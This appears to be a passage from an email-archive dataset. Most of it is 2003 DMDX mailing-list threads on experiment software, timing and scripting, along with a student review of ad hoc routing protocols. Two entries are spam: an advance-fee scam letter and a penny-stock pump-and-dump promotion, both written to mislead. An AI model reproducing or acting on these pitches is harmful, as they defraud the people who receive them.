run regedit and look at the registry keys I see that I have the >entries that I selected in TimeDX. One thing I m not clear on is why DmDX >is insisting on using a video mode that I did not select. Is this a >problem with using multiple displays? Am I misreading the instructions? The mode you select time TimeDX has no correlation with the mode DMDX uses, it only affects the mode TimeDX will test. DMDX either uses 640x480x8 at 0Hz or whatever the keywords tells it to use. TimeDX must be used for each video mode that DMDX might use, you have to select that video mode and you must time and save those values in the registry. Which brings us to 640x480x8 0Hz vs. 640x480x8 75Hz. Under older versions of windows video drivers only ever enumerated 0Hz video modes meaning no control over refresh rate, you take whatever the default is. Under XP (and maybe 2000) you can now select the refresh rate you want and these are all distinct from 0Hz mode which is what is used by DMDX by default. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""We demand rigidly defined areas of doubt and uncertainty!"" - Vroomfondel",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 20 Aug 2003 22:23:06 -0700",[DMDX] Re: DmDX script automation,"At 01:09 PM 8/21/2003 +1200, you wrote: >I recently started a new job working for the psyc department in my local >university as a software engineer and one of the first tasks I have to >accomplish is to set up an experiment in Associative Priming for a class. > From the description of the problems and the solutions in DmDX it looks >almost identical to the way I imagined doing it (using DirectX and timing >raster interrupts using QueryPerformanceCounter()) if I were to write this >from scratch. The commercial software they ve used here in the past (I won >t mention the name) looks like it just uses the WM_TIMER for timing and I >d be surprised if it has less than 30 ms of slop which doesn t seem very >desirable for RT testing to my pea brained view of psychological testing. Let alone problems synchronizing with raster... > I have a couple of questions for anyone who has some experience with > DmDX in real life: > * What s the learning curve like for the average, > mostly-computer-literate PhD in Psychology? Surprises hell outta me but some people say it's easy to use. We've had people download DMDX and start using it and the first I've known about has been questions on using things like macros, go figure. Some people read the manual. > * Would you recommend it as a teaching tool or just for research or > for both? It's certainly be used as a teaching tool before. > * On the off chance that I manage to get DmDX running properly on my > machine, has anyone gotten around to writing a front-end that makes > script generation a little easier? Not to my knowledge. The thing people praise about DMDX beyond it's accuracy is that you can do pretty much anything with it. Mind you people are starting to want context sensitive displays that getting to be a bit of challenge given DMDX's structure, it's only good at extended flexible decision making once a display and data gathering sequence is finished. So as soon as you wrap a front end around it you've severely limited what you can do, many DMDX front ends have been planned, none are in use to the best of my knowledge. That said people do tend to Excel to prepare scripts but that's not really a front end IMO. > * Can anybody with experience with other tools such as SuperLab > provide some comparisons with DmDX? Not me, that's for sure. Given the people that say DMDX is easy to use I gotta wonder about the competition some days... /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""We demand rigidly defined areas of doubt and uncertainty!"" - Vroomfondel ",0,0 Mike Ford ,DMDX@psy1.psych.arizona.edu,"Thu, 21 Aug 2003 11:32:22 +0100",[DMDX] Re: DmDX script automation," >> I have a couple of questions for anyone who has some experience with >> DmDX in real life: >> * What s the learning curve like for the average, >> mostly-computer-literate PhD in Psychology? > Surprises hell outta me but some people say it's easy to use. We've > had people download DMDX and start using it and the first I've known > about has been questions on using things like macros, go figure. Some > people read the manual. The great advantage of DMDX is that with no previous experience you can get viable experiments up and running fairly quickly. A lot of folk here use VB (especially for fMRI experiments) but it takes them a lot of time before they are writing their own programs, they usually rely on other folk to do it for them to begin with or have to wait six months before they start their experiments. Of course it depends on what you want to do. I see no reason to learn e.g. VB, if all you want to do are things like lexical decision, naming etc. >> * Would you recommend it as a teaching tool or just for research or >> for both? > It's certainly be used as a teaching tool before. I've found it fine for that. - Mike ",0,0 hjweiden@email.arizona.edu,DMDX@psy1.psych.arizona.edu,"Thu, 21 Aug 2003 12:01:29 -0700",[DMDX] Re: DmDX script automation,"> > * Can anybody with experience with other tools such as SuperLab > > provide some comparisons with DmDX? I use both SuperLab & DMDX. Strictly my opinion: SuperLab is almost hideously easy to pick up, but (at least the version I have, which admittedly is not the latest) is not very easy to edit on the fly because it uses a parameter file rather than a scripting language. It also does not implement Direct X controls, so if fine timing on your displays is of value it is not the best choice. It *does*, however, handle touch screens and point & click mouse paradigms very nicely -but I would check with Cedrus on how reliable the response times are for that. SL is probably great for undergraduate lab classes where students need to set up their own projects, and simple research paradigms where you might want to farm out the labor to someone with minimal technical expertise. Compared to SL, DMDX has more precise timing and trustworthy reporting about timing, is much more versatile, and considerably cheaper (free). That said, even a mostly-computer-literate PhD in Psychology might get their nose bloodied a few times in the early days of use (but it's certainly easier than writing stuff from scratch). It looks like there other commercial packages that may have comparable teeth to DMDX (e.g., Inquisit, EPrime), but of course they cost. Don't know that they are any easier, haven't used them. Hollis Weidenbacher ",0,0 Mike Ford ,DMDX@psy1.psych.arizona.edu,"Thu, 21 Aug 2003 20:13:47 +0100",[DMDX] Re: DmDX script automation,"There is also Presentation, which cost around 750 USD last time I looked. This is quite a complicated program and in my view you could probably learn VB in the same time it took you to learn Presentation and knowing VB would be a much more transferable skill. - Mike oxoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxoxo *** Note New Extension - 311 *** Mike Ford MRC Cognition & Brain Sciences Unit 15 Chaucer Rd, Cambridge, CB2 2EF, UK. Tel: +44 (0)1223 355294 ext 311 Fax: +44 (0)1223 359062 http://www.mrc-cbu.cam.ac.uk/personal/mike.ford oxoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxoxo ",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Thu, 21 Aug 2003 14:01:49 -0700",[DMDX] 3.0.2.4," A recent problem is devices having cute little symbols as part of the name making it very hard to get the name of a device into an item file. To combat this version 3.0.2.4 of DMDX dumps the names of available input devices into the diagnostics, not only that it also checks a parsed version of the name that has unusual characters removed from it that is also printed in brackets. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Justice is incidental to law and order. - J. Edgar Hoover ",0,0 Rua Haszard Morris ,DMDX@psy1.psych.arizona.edu,"Fri, 22 Aug 2003 09:04:05 +1000",[DMDX] RE: Re: DmDX script automation,"> have comparable teeth to DMDX (e.g., Inquisit, EPrime), but of course they > cost. Don't know that they are any easier, haven't used them. E-Prime doesn't have anything over DMDX - it has a front-end generative menuy interface, but it's got a lot of evolving to do before it's really good. And it can't play video files... -----Original Message----- From: DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX-owner@psy1.psych.arizona.edu]On Behalf Of hjweiden@email.arizona.edu Sent: Friday, 22 August 2003 5:01 AM To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Re: DmDX script automation > > * Can anybody with experience with other tools such as SuperLab > > provide some comparisons with DmDX? ========= ",0,0 Rua Haszard Morris ,DMDX@psy1.psych.arizona.edu,"Fri, 22 Aug 2003 09:04:03 +1000",[DMDX] RE: DmDX script automation,"I've generated scripts in matlab - I used on file with a standard DMDX header, and generated trial strings replacing the stimuli filenames. Email me if you wanna know more. I'd love to collaborate on a more friendly front end for DMDX. I've also used matlab scripts to launch a series of DMDX item files, so the DMDx interface doesn't need to be used directly (by the experimenter).. have fun, Rua HM. -----Original Message----- From: DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX-owner@psy1.psych.arizona.edu]On Behalf Of Mark Boettcher Sent: Thursday, 21 August 2003 11:09 AM To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] DmDX script automation I recently started a new job working for the psyc department in my local university as a software engineer and one of the first tasks I have to accomplish is to set up an experiment in Associative Priming for a class. >From the description of the problems and the solutions in DmDX it looks almost identical to the way I imagined doing it (using DirectX and timing raster interrupts using QueryPerformanceCounter()) if I were to write this from scratch. The commercial software they've used here in the past (I won't mention the name) looks like it just uses the WM_TIMER for timing and I'd be surprised if it has less than 30 ms of slop which doesn't seem very desirable for RT testing to my pea brained view of psychological testing. I have a couple of questions for anyone who has some experience with DmDX in real life: 1.. What's the learning curve like for the average, mostly-computer-literate PhD in Psychology? 2.. Would you recommend it as a teaching tool or just for research or for both? 3.. On the off chance that I manage to get DmDX running properly on my machine, has anyone gotten around to writing a front-end that makes script generation a little easier? 4.. Can anybody with experience with other tools such as SuperLab provide some comparisons with DmDX? Mark Boettcher Programmer/Analyst, Psychology Dept. University of Canterbury Christchurch, New Zealand ",0,0 """Stephen D. Benning"" ",DMDX@psy1.psych.arizona.edu,"Thu, 21 Aug 2003 22:52:58 -0500",[DMDX] RE: Re: DmDX script automation,"On Thu, 2003-08-21 at 18:04, Rua Haszard Morris wrote: > > have comparable teeth to DMDX (e.g., Inquisit, EPrime), but of course they > > cost. Don't know that they are any easier, haven't used them. > > E-Prime doesn't have anything over DMDX - it has a front-end generative > menuy interface, but it's got a lot of evolving to do before it's really > good. I would disagree with this statement. E-Prime's object-oriented programming has been both more flexible and more powerful than what I've been able to achieve in DMDX, especially with respect to being able to use multiple I/O boards in different I/O configurations. We've also gotten slightly better timing using E-Prime (.2-.4 ms slop on E-Prime vs. .6-.8 ms slop on DMDX, using a 100 Hz refresh rate). Plus, while we've been able to teach undergrads how to program a fully functional and publishable E-Prime program in a couple of weeks, we had to go through three undergrads over a year to get a DMDX study up and running (and while they understood the fundamentals of E-Prime programming, they never got the hang of what DMDX was all about in the couple of months they worked on it individually). > And it can't play video files... True 'nuff; it's also limited in the types of pictures (.bmp and .jpg only) and sounds (.wav only, as far as I know) it will present, and it's got some array declaration issues that are kinda screwy (and can't be fixed because it's based on Visual Basic). However, if I remember correctly, they're working on implementing video support in the next release, and they're also working on being able to poll the joystick axes (rather than just reading the buttons, as it and DMDX both are currently limited to doing, from what I gather). Nonetheless, I remain amazed at what's been done on DMDX thus far, and I've been happy to see how willing Jonathan is to incorporate new features that the community might want and/or need. And you certainly can't beat the price! I've even used DMDX to do some clinical tasks for an OCD client I had to pretty good effect. > -----Original Message----- > From: DMDX-owner@psy1.psych.arizona.edu > [mailto:DMDX-owner@psy1.psych.arizona.edu]On Behalf Of > hjweiden@email.arizona.edu > Sent: Friday, 22 August 2003 5:01 AM > To: DMDX@psy1.psych.arizona.edu > Subject: [DMDX] Re: DmDX script automation > > > > > * Can anybody with experience with other tools such as SuperLab > > > provide some comparisons with DmDX? > ========= > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== -- Stephen Benning Office: N631 Elliott Hall 75 East River Road Minneapolis, MN 55455 ",0,1 Rua Haszard Morris ,DMDX@psy1.psych.arizona.edu,"Fri, 22 Aug 2003 15:02:37 +1000",[DMDX] RE: RE: Re: DmDX script automation,"Lovin' the discussion. I'm well pleased to hear more details about other experiment-running tools as I never have the time to fully evaluate em. So I'm pleased to hear that EPrime has some good points. Not to take away from DMDX - a very useful tool, with quick support, and a great price. syer later Rua. -----Original Message----- From: DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX-owner@psy1.psych.arizona.edu]On Behalf Of Stephen D. Benning Sent: Friday, 22 August 2003 1:53 PM To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] RE: Re: DmDX script automation On Thu, 2003-08-21 at 18:04, Rua Haszard Morris wrote: > > have comparable teeth to DMDX (e.g., Inquisit, EPrime), but of course they > > cost. Don't know that they are any easier, haven't used them. > > E-Prime doesn't have anything over DMDX - it has a front-end generative > menuy interface, but it's got a lot of evolving to do before it's really > good. I would disagree with this statement. E-Prime's object-oriented programming has been both more flexible and more powerful than what I've been able to achieve in DMDX, especially with respect to being able to use multiple I/O boards in different I/O configurations. We've also gotten slightly better timing using E-Prime (.2-.4 ms slop on E-Prime vs. .6-.8 ms slop on DMDX, using a 100 Hz refresh rate). Plus, while we've been able to teach undergrads how to program a fully functional and publishable E-Prime program in a couple of weeks, we had to go through three undergrads over a year to get a DMDX study up and running (and while they understood the fundamentals of E-Prime programming, they never got the hang of what DMDX was all about in the couple of months they worked on it individually). > And it can't play video files... True 'nuff; it's also limited in the types of pictures (.bmp and .jpg only) and sounds (.wav only, as far as I know) it will present, and it's got some array declaration issues that are kinda screwy (and can't be fixed because it's based on Visual Basic). However, if I remember correctly, they're working on implementing video support in the next release, and they're also working on being able to poll the joystick axes (rather than just reading the buttons, as it and DMDX both are currently limited to doing, from what I gather). Nonetheless, I remain amazed at what's been done on DMDX thus far, and I've been happy to see how willing Jonathan is to incorporate new features that the community might want and/or need. And you certainly can't beat the price! I've even used DMDX to do some clinical tasks for an OCD client I had to pretty good effect. > -----Original Message----- > From: DMDX-owner@psy1.psych.arizona.edu > [mailto:DMDX-owner@psy1.psych.arizona.edu]On Behalf Of > hjweiden@email.arizona.edu > Sent: Friday, 22 August 2003 5:01 AM > To: DMDX@psy1.psych.arizona.edu > Subject: [DMDX] Re: DmDX script automation > > > > > * Can anybody with experience with other tools such as SuperLab > > > provide some comparisons with DmDX? > ========= > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== -- Stephen Benning Office: N631 Elliott Hall 75 East River Road Minneapolis, MN 55455 ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ==================================================================== ",0,1 Mike Ford ,DMDX@psy1.psych.arizona.edu,"Fri, 22 Aug 2003 10:53:39 +0100",[DMDX] RE: Re: DmDX script automation," >Plus, while >we've been able to teach undergrads how to program a fully functional >and publishable E-Prime program in a couple of weeks, we had to go >through three undergrads over a year to get a DMDX study up and running >(and while they understood the fundamentals of E-Prime programming, they >never got the hang of what DMDX was all about in the couple of months >they worked on it individually). Not had the same kind of problems with DMDX you describe. I think the language in DMDX can be a problem, e.g. explaining what a ""refresh rate"" is and how this controls timing etc. but I got a first year undergraduate class of, to be honest, fairly low level, to write a simple lexical decision experiment in a few weeks. I did however skip over some of the more difficult stuff (I/O cards) and just give them some bits with minimal explanation e.g. ""that bit makes the text red"". - Mike ",0,0 Andy ,DMDX@psy1.psych.arizona.edu,"Fri, 22 Aug 2003 14:24:59 +0100",[DMDX] RE: RE: Re: DmDX script automation,"Here's a tutorial for creating large DMDX scripts quickly and accurately through Excel. I need to do a bit more work on it, but I reckon its still pretty useful. Please note my entire lack of spelling ability in Irish. Andy. http://members.lycos.co.uk/aca98atw/DMDX_for_egits.doc PS Cheers goes out to Matt for his suggestions. Andy Woods, Department of Psychology, Trinity College Dublin, Ireland. Tel: + 353 (0) 1 608 1521 Fax: + 353 (0) 1 671 2006 Mob: + 353 (0) 877794280 > -----Original Message----- > From: DMDX-owner@psy1.psych.arizona.edu > [mailto:DMDX-owner@psy1.psych.arizona.edu]On Behalf Of Mike Ford > Sent: 22 August 2003 10:54 > To: DMDX@psy1.psych.arizona.edu > Subject: [DMDX] RE: Re: DmDX script automation > > > > >Plus, while > >we've been able to teach undergrads how to program a fully functional > >and publishable E-Prime program in a couple of weeks, we had to go > >through three undergrads over a year to get a DMDX study up > and running > >(and while they understood the fundamentals of E-Prime > programming, they > >never got the hang of what DMDX was all about in the couple of months > >they worked on it individually). > > Not had the same kind of problems with DMDX you describe. I > think the > language in DMDX can be a problem, e.g. explaining what a > ""refresh rate"" is > and how this controls timing etc. but I got a first year > undergraduate > class of, to be honest, fairly low level, to write a simple lexical > decision experiment in a few weeks. I did however skip over > some of the > more difficult stuff (I/O cards) and just give them some bits > with minimal > explanation e.g. ""that bit makes the text red"". > > - Mike > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== ",0,1 SWebster@psychol.dundee.ac.uk,DMDX@psy1.psych.arizona.edu,"Fri, 22 Aug 2003 16:58:24 +0000",[DMDX] RE: RE: Re: DmDX script automation,"I'm on holiday. I'll be back on the 1st of September. Simon ",0,0 sulegidado ,sulegidado@sanook.com,"Fri, 22 Aug 2003 22:46:32 +0700",YOUR ATTENTION IS HIGHLY NEEDED,"From: Dr. Sule Gidado.E-mail:s_gidado2000@yahoo.com ATTENTION PLEASE    A very pleasant day to you.It is my great pleasure writing you this letter on behalf of my colleagues. I have decided to seek a confidential co-operation with you in the execution of a deal hereunder for the mutual benefit of all parties, and would urge you to keep it confidential because of its sensitive nature.Dr. Sule Gidado is my name, 52 years old and a renowned economist, happily married with 2 lovely children. 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More often than not, big trading companies and firms of unrelated fields win major contracts and subcontract same to more specialized firms for execution.   This business itself is 100% safe and risk free, as long as you treat it with utmost confidentiality. Also your specialization is not a hindrance to the successful execution of this mutually beneficial transaction. I am reposing a great deal of confidence in you here and hope that you will not betray/disappoint us. Best regards,Dr. Sule Gidado. NB. Bank Account details would not be necessary, if preferred mode of payment is by solar bank draft or telegraphic transfer. Your reply to this mail should be sent to: s_gidado2000@yahoo.com",1,0 Mark Boettcher ,DMDX@psy1.psych.arizona.edu,"Sat, 23 Aug 2003 11:38:06 +1200",[DMDX] Thanks!,"Thanks for all of the answers to my questions! The bottom line is that I didn't RTFM. What I hoped for was something that I could evaluate quickly and move on just as quickly if it didn't appear to do the job. Install it, run it, load a couple of sample scripts and see if it could do the job. I didn't see the part about changing the script for the correct video mode. Just assumed that TimeDX was setting it for me. Please bear in mind that I just started work as the programmer for the University of Canterbury Psyc. Dept. At the university I'm seeing a lot of unique one-off programs for different experiments and a small, but well-established SuperLab user base. I've already been asked to do a program to replace a particular experiment currently running on SuperLab. Rather than writing a new program for each experiment or upgrading SuperLab at great cost because we only have a 20-user license at present and want to teach 21 students at a time, I'm hoping to find something more general purpose. Low latencies are extremely important in most cases. As a bit of personal background, I've worked as a software engineer for some top game companies as well as HP, Sharp Labs of America and a place called Mini-Mitter doing realtime data collection and analysis from small animal telemetric implants on Windows 95 and its evil spawn. Up to 240 channels at 1000Hz. Of course we cheated and used special hw for the actual collection and storage, but it works. I understand the timing issues with Windows OSes. So, after a couple of days of looking at DMDX I have some observations and new questions. If anyone wants to comment or answer questions I would be forever beholden. 1. Actually I DID read the information about timing issues and the solutions used in DMDX before downloading the program and Jonathan's solution looks really good. Perhaps ideal. I guess the only thing I'd want to do would be to look at the code (peer code review) and maybe stick a logic analyzer on the video if this stuff hasn't been done already. 2. The documentation really could use an 'Easy Start'. Run TimeDX, edit example script to change video mode to xxx xxx xxx, run it. Lots of well commented sample scripts ranging from simple to detailed would be really cool. 3. Along the same lines, the information on the web site about it is really good for a technical person. Enough to get me excited and want to try it. What I'm seeing though is that a good techspeak abstraction layer would help get the Psyc. PhD's to understand why it's so good. I'm like, you know, saying, ""trust me, this is worth looking at"" and all they're seeing is this techspeak bludgeon. 4. I understand the part about motivated grad students or professors learning VB or DMDX scripting, but doesn't that distract from what they really want/need to do? That's why I asked about a front end. All they want to do is get an experiment up and running. The scripting looks very powerful and functional to me as a programmer, but seems like a lot of work to a Psyc Professor. Do they even use the brain hemisphere when they work? 5. Any plans to release the source or make it public domain? 6. Any chance of getting some programmer hooks thrown in? Just somethng simple like adding callbacks for a third party DLL or COM object or something. I apologize if that's already in there and I just need to finish RTFM. 7. Is anyone workng on a scripting front end already? Along the same lines, how about a wrapper or something to run an experiment and analyze group results on a network? Cheers, Mark ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Fri, 22 Aug 2003 18:21:29 -0700",[DMDX] Re: Thanks!,"At 11:38 AM 8/23/2003 +1200, you wrote: >... >1. Actually I DID read the information about timing issues and the >solutions used in DMDX before downloading the program and Jonathan's >solution looks really good. Perhaps ideal. I guess the only thing I'd want >to do would be to look at the code (peer code review) and maybe stick a >logic analyzer on the video if this stuff hasn't been done already. We've stuck scopes and other machines behaving as analyzers backwards, forwards and sideways and combined with DMDX's own internal tests with a bit of external hardware we've long since come to the conclusion that it's doing what it says it's doing. About the only way you'd get to look at the code would be if you cared to visit us ;) DMDX's only serious liability is the user not timing a video mode correctly, Video card manufacturers are constantly cheating to produce the fastest benchmarks and this cheating constantly foils any attempt I make to actually determine what the hardware is doing (I'm noticing that I have to check ""Read Between Flips"" on some machine's Retrace Rate determination and I never had to do that earlier). But even that liability only winds up with a plus or minus one frame error in presentations. Granted a really fast tachistoscopic presentation might be damaged under those circumstances but it's literally the worst consistent error that can be made by the programs. > 2. The documentation really could use an 'Easy Start'. Run TimeDX, edit > example script to change video mode to xxx xxx xxx, run it. Lots of well > commented sample scripts ranging from simple to detailed would be really cool. Well, there's the TimeDX overview and there's a set of demo scripts on the web site. > 3. Along the same lines, the information on the web site about it is > really good for a technical person. Enough to get me excited and want to > try it. What I'm seeing though is that a good techspeak abstraction layer > would help get the Psyc. PhD's to understand why it's so good. I'm like, > you know, saying, ""trust me, this is worth looking at"" and all they're > seeing is this techspeak bludgeon. Yep, no money for a technical writer around here, believe me. > 4. I understand the part about motivated grad students or professors > learning VB or DMDX scripting, but doesn't that distract from what they > really want/need to do? That's why I asked about a front end. All they > want to do is get an experiment up and running. The scripting looks very > powerful and functional to me as a programmer, but seems like a lot of > work to a Psyc Professor. Do they even use the brain hemisphere when they > work? People just want to drive cars too, they're not interested in changing the oil or getting the car serviced. > 5. Any plans to release the source or make it public domain? No. > 6. Any chance of getting some programmer hooks thrown in? Just somethng > simple like adding callbacks for a third party DLL or COM object or > something. I apologize if that's already in there and I just need to > finish RTFM. If you can make a good argument for it we'll certainly consider it. > 7. Is anyone workng on a scripting front end already? Along the same > lines, how about a wrapper or something to run an experiment and analyze > group results on a network? Several people spawn DMDX with assorted command line parameters to get it to do things. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""We demand rigidly defined areas of doubt and uncertainty!"" - Vroomfondel ",0,0 Mike Ford ,DMDX@psy1.psych.arizona.edu,"Sat, 23 Aug 2003 13:33:01 +0100",[DMDX] Re: Thanks!," >> 4. I understand the part about motivated grad students or professors >> learning VB or DMDX scripting, but doesn't that distract from what they >> really want/need to do? That's why I asked about a front end. All they >> want to do is get an experiment up and running. The scripting looks very >> powerful and functional to me as a programmer, but seems like a lot of >> work to a Psyc Professor. Do they even use the brain hemisphere when they work? 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",DMDX@psy1.psych.arizona.edu,"Thu, 28 Aug 2003 22:23:37 -0700",[DMDX] analog input devices,"I strongly suspect I will be adding support for input devices with axes to handle an eye tracking task here, prior to doing this I'd like to get any input concerned parties might have on this so I don't rule out or make awkward any standard sorts of paradigms. That's not to say that I'm going to add support for any suggestions I might get, unless they're really trivial I'm not likely to, but I will bear them in mind as I design things so they're easy to add at a later date if they need adding. While the task at hand only requires one axis I'm going to add two axis support anyway because it's sure to be required for almost all other analog tasks. Also while we don't need a cursor except for calibration I suspect I'll be adding general cursor support although this might need to be dropped for performance reasons. While we will be using a Measurement Computing analog to digital card I'll probably add support for DirectInput joysticks to facilitate testing. There will have to be a calibration item that displays a set of points displayed successively that the axes will have to move the cursor to, haven't really thought about that too much yet. I guess it's possible that the eye tracker provides non-linear data, that could get real messy to calibrate... In a dramatic departure I'll be adding a new frame duration control, <%until some_condition>, where the frame will stay displayed until that condition becomes true, that condition will probably be an expression. If I do choose to use the expression evaluator a new function will be added that will be false until the coordinates the input axes control reach some bounding box, possibly for a specified time in ticks. This is major because it opens DMDX to a whole new dimension of control where decisions based on the subjects data affect a display as data is gathered, something that is flat out not possible currently. The display sequence will still be sequential but I guess it's possible that rescheduling of frames might be possible like the animator switch does -- god forbid debugging such items though. Data recording for the eye tracking task will simply be to write the coordinates to a .zil data file at a specified rate. I guess for .azk files I could have a positive response defined by the cursor moving into some bounding box, same for negative but this isn't required for the eye tracking task so I'll probably leave this out unless there's fantastically strong demand for it. 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",0,0 Selcuk Aya ,egs+615@cs.cornell.edu,"Mon, 01 Sep 2003 18:23:40 -0400",615 PAPER 1,"This paper describes the Destination Sequenced Distance Vector Routing, which is an improvement over the classic Bellman-Ford Routing. The protocol tries to address some problems such as short and long term loops and poor convergence. Moreover it takes measures in order to use bandwidth more wisely and uses sequence numbers in order to prevent loops. In DSDV, every node maintains full routing table and broadcasts this to other nodes periodically. Between this full routing table advertisements, there are incremental routing table advertisements and in these, not the full routing table but the important changes are advertised. A link`s being broken or a node`s becoming available are considered to be important changes. A node changes a routing entry when it receives an update with a more recent sequence number or an update with the same sequence number and a better metric. However, it may wait a while before advertising the new update if it is not important. The mechanisms of incremental updates and holding off advertisements enable the protocol to use bandwith more wisely. The paper and the protocol have several weaknesses. There are not any simulation results. We do not see any information about how the protocol scales. It may well be the case that when network is large, a lot of redundant data is stored at each node (because full routing tables are stored) and although incremental advertisements are used the protocol may not scale well because of periodic updates. Moreover, the paper does not discuss convergence(although it says that it ackles the problems in classic routing algorithms) and acknowledgement mechanisms 2)DSR This paper describes a protocol,DSR, for dynamic source routing. In DSR, route discovery and route maintenance are reactive. By having reactive route discovery and route maintenance, DSR eliminates the need for periodic updates broadcast from the nodes. Moreover, DSR is designed to work both with symmetric and asymmetric links. Because route discovery is reactive, it is made only when a node wants to transmit a message to a destination for which the node does not have a route entry in its cache. The source node transmits a route request packet and the final destination or an intermediate node which has a route to the final destination replies with a route reply packet which includes the route to the destination. When a node transmits a data packet, the whole route should be included in the header. Route maintenance is also on demand, it is made only when a link breakage is discovered during a packet transmission. Link breakage can be discovered by hope by hop acknowledgements and link level protocols. In absence of these, higher level protocols may be used. Several improvements have been proposed to the basic protocol. For example route cache of intermediate routes may be used for route discovery. Moreover, unfiltered receival of packets may be used in updating route entries and detecting errors. When updating the cache not the full entry but part of it may be changed. This may decrease processing time.DSR results in loop free routes because during route discovery a host discards a route request if it is listed in the route record and checks if there is a loop whenever it is going to reply from its cache. There are some disadvantages associated with DSR. The route records which are carried in the discovery and data packets may pose a problem because they can be long. When the number of nodes in the network is large, reply, error packets and link level acknowledgements may dominate the network. So, reactive routing may shoot back and bandwidth shortage problems may occur. Moreover, I think that, there may be some problems because of this protocol with some applications. Some applications may require that nodes be aware of the new-comers whenever they pop up. However, if the network is stable ( nodes are stationary or they move very slowly), then nodes will not need route discovery. As a result they will not be aware of a new-comer because they will be merrily sending messages to each other. The new-comer may use promiscuious receiving and may learn others slowly but nothing can prevent him from not sending a message unless someone in the network says hello to him. Some multicasting mechanism may be a solution to this problem. The presented simulations in the network are unrealistic. At most 24 nodes are tested. There may be larger networks. So it can be said that, because of the problems presented above, this routing protocol does not scale good. Moreover, in the paper there is nothing about acquisition-latency. In large networks this latency may be high. In fact, because of a node`s holding off a reply waiting for a better reply, latency may be worse than what we would expect from the basic protocol. I do not think that holding off a reply is good for avoiding collisions given that link level protocols have techniques( such as carrier sending) to avoid collisions. 3)AODV This paper describes a protocol , AODV, for on demand routing. AODV enhances DSDV and seems to be influenced by DSR. Route discovery in AODV is on demand. There is no need for the nodes to keep full routing tables and global periodic update messages are not used for management. However, in AODV, local connectivity management is done in a proactive way. AODV requires that neighboring nodes can detect each other. Whenever a node wants to send a packet to a destination and it has not a route entry for that destination a route request packet is broadcast. To this request, an intermediate route or the destination replies with a route reply packet. During this request and reply process , reverse and forward paths are set up dynamically. This is important because this enables AODV packets not to carry the whole routing information in their headers. This may enable the protocol to scale better. For local connectivity management, link level mechanisms and periodic hello messages are used. When a node does not receive a hello message from one of its neighbors in allowed-hello-loss time or it does notice the link breakage through link level mechanisms, it transmits this information to the nodes which may be interested(to the active nodes described below).The paper assumes bidirectional links, but does not discuss whether providing this is always possible. For example if FDD is use, because different frequencies are affected differently by the environment, there can be a danger that not enough node can hear each others` messages. Besides using bandwidth wisely, AODV also aims at preventing unnecessary data storage and processing. First of all, nodes which do not lie on a active route do not have to maintain entry for that entry. Moreover, associated with each route entry is a route caching timeout and a list of active nodes which may be interested in that routes` destination. So when something important happens only those active routes are notified, and stale routes are not cached. Also, there is the route request expiration timer which prevents nodes that do not lie on a path from source to destination keep the reverse path for long. The paper does not discuss the possibility of changing these parameters dynamically. For future work I think that it would be interesting to try to not to broadcast the query message but somehow determine the nodes which will, with high probability, give an answer to the query and forward the query to only them. Combined with the elimination of hello messages, this would result in a more wise use of the bandwidth. AODV, like DSDV uses sequence numbers for keeping the route information up-to-date and for preventing loop formations. A node updates its route entry when an update with a newer sequence number arrives or when an update with the same sequence number but a better metric arrives. The simulation results are explained clearly except some points. First of all, what good-put means is not explained in the paper. Also, although values which are said to be optimal are given for rreq-retries and allowed_hello_loss parameter, it is not clear that these values are optimal for other situations. This may be a problem because there are some big changes in acquisition latency when these parameters are changed a little. ",0,0 Concetta Hatfield ,"gloria@uclink-store.berkeley.edu, leticia@uclink-store.berkeley.edu, blanca@uclink-store.berkeley.edu","Tue, 02 Sep 2003 13:05:39 +0000",Under The Radar Equity Alert,"Wineco Productions Inc. Mining Play Symb0l: W N C P Price: $0.03 Go Look at the Charts of FGOVF, AGXM, PNAMF, WGDF and AOOR. All Mining Plays that Have Had Nice Runs Recently. Hot Sector or What? Have You Ever Had a Big Winner? Is The Current Action in The St0ck the ""Primal Stirring"" Before a Big Breakout? If You Think W N C P is a WINNER, You May Want to Jump on Board IMMEDIATELY!! ON MARCH 17TH THE COMPANY DISCLOSED IT WAS IN NEGOTIATIONS WITH 5 COMPANIES!! TWO ANNOUNCEMENTS HAVE BEEN ISSUED: 1)Wineco Productions Inc. Signs Letter of Intent with Mineral Reclamation Corp. 2)Wineco Productions Announces the Acquisition of Mine Tailings from World Wide Consulting GO READ THE FULL STORIES RIGHT NOW. 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This c0mpany has: an 4ccumulated def1c1t and and a re|iance on l0ans from 0fficers and aff1l1ates to pay exp3nses. It is not an operating company. The company is going to need financing to continue as a g0ing c0ncern.The 